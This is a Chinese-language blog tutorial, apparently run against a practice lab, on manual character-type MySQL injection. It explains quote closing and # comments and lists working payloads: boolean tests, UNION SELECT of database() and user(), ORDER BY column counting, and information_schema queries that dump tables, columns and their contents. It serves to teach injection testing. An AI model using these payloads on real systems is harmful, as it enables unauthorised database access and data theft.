Mysql字符型手工注入

admin 2022年3月26日08:32:12评论174 views字数 1001阅读3分20秒阅读模式

01


字符型注入_确定注入点

正常搜索框搜索数据,输入名字就可以查询对应数据

Mysql字符型手工注入

查看PHP核心代码

解释:

    1.红色箭头表示服务器通过GET请求把用户的kobe参数传到$name

    2.黄色方框表示传入数据库的查询语句

Mysql字符型手工注入

加入恶意字符后,传入数据库的查询语句如下:

select id,email from member where username='kobe''
很明显kobe'传入查询的时候,后面的的分号与前面查询语句的分号闭合,查询语句多出一个分号,查询语句不成立,导致报错。

Mysql字符型手工注入

注入点测试,将payload1代入查询

kobe' and 1=1 #
payload解释:
利用分号闭合查询语句中的分号,再通过#注释掉查询语句中后面的分号,则传入数据库查询语句如下:
select id,email from member where username='kobe' and 1=1 #'
成功查询到指定数据

Mysql字符型手工注入

kobe' and 1=2 #

Mysql字符型手工注入


02


字符型注入_获取基本信息

在这里基本确定注入点,查看当前数据库和用户

kobe' union select database(),user()#
成功查询到数据库信息

Mysql字符型手工注入

传入数据库的查询命令如下

select id,email from member where username='kobe' union select database(),user()#'
由此可见payload只要在黄色区间内,在足够权限和符合语句逻辑状态下可以任意执行sql语句

Mysql字符型手工注入


👇常用查询语句👇

确定当前字段

kobe' order by 3#

查询指定库所有数据

kobe' union select table_name,2,3 from information_schema.tables where (table_schema='数据库名')#

查询指定表的所有表头

kebo' union select column_name,2,3 from information_schema.columns where (table_name="表名")#

查看指定表头内容

kebo' union select 表头1,2,表头2 from 表名#

注释:注入方法与数字型注入基本相同,只要在闭合与注释符两者区间内执行mysql命令即可利用该漏洞,从这部分开始,后续不做详细介绍与演示。

本文始发于微信公众号(Khan安全攻防实验室):Mysql字符型手工注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月26日08:32:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mysql字符型手工注入https://cn-sec.com/archives/535473.html

发表评论

匿名网友 填写信息